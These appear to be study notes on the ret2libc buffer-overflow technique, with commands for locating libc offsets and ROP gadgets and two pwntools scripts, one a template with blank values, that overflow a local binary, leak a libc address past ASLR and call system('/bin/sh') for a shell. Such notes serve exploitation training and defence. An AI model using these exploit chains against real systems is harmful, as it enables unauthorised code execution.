# Ret2libc * [ir0nstone ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc) * Check binary via * `checksec`, PIE shows start address, RELRO shows permissions of r/w to got * `file` * Libc is affected by ASLR state of the machine, check via `cat /proc/sys/kernel/randomize_va_space` * Off = 0 * Partial = 1 * Full = 2 * `got` contains dynamically loaded functions * `plt` contains used loaded dynamical functions ## Finding something to execute * Interesting stuff to call from inside libc * `/bin/sh` * `system` ## libc -- Finding Offsets * Find libc address at runtime via gbd ```sh info sharedlibrary ``` ### Manually * On target find `sh` address inside libc ```sh strings -a -t x /lib32/libc.so.6 | grep /bin/sh ``` * Sub from `system` address from inside libc ```sh readelf -s /lib32/libc.so.6 | grep system ``` ### Measure the Buffer * With gef * `pattern create` * `run` * Use pattern * `pattern search $` ## ROP -- Creating a Chain * Creating a ROP chain to execute the `/bin/sh` with parameters * Check * Architecture * Calling convention ### Manually ```sh ROPgadget --binary | grep rdi ``` * Find `ret`s, to put in front of rdi ```sh objdump -d | grep ret ``` ## Automated * [xct's ropstar](https://github.com/xct/ropstar.git) ## Example without ASLR ```python from pwn import * p = process('') cbase = 0x sys = cbase + sh = cbase + rop_rdi = rop_ret = payload = b'A' * payload += b'B' * 8 payload += p64(rop_ret) payload += p64(rop_rdi) payload += p64(sh) payload += p64(system) payload += p64(0x0) # end payload p.recv() p.sendline(payload) p.interactive() ``` ## Example with ASLR * Create context ```python #!/usr/bin/env python3 from pwn import * context.binary = binary = '' elf = ELF(binary) rop = ROP(elf) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process() # ROP I, needed when ASL is enabled payload = b'A' * 18 payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0]) payload += p64(elf.got.gets) payload += p64(elf.plt.puts) payload += p64(elf.symbols.main) p.recvline() p.sendline(payload) p.recvline() leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement p.recvline() log.info(f"gets: {hex(leak)}") libc.address = leak - libc.symbols.gets log.info(f"libc address: {hex(libc.address)}") # start address should be aligned # ROP II payload = b'A' * 18 payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0]) payload += p64(next(libc.search(b'/bin/sh'))) payload += p64(rop.find_gadget(['ret'])[0]) payload += p64(libc.symbols.system) p.sendline(payload) p.recvline() p.interactive() ```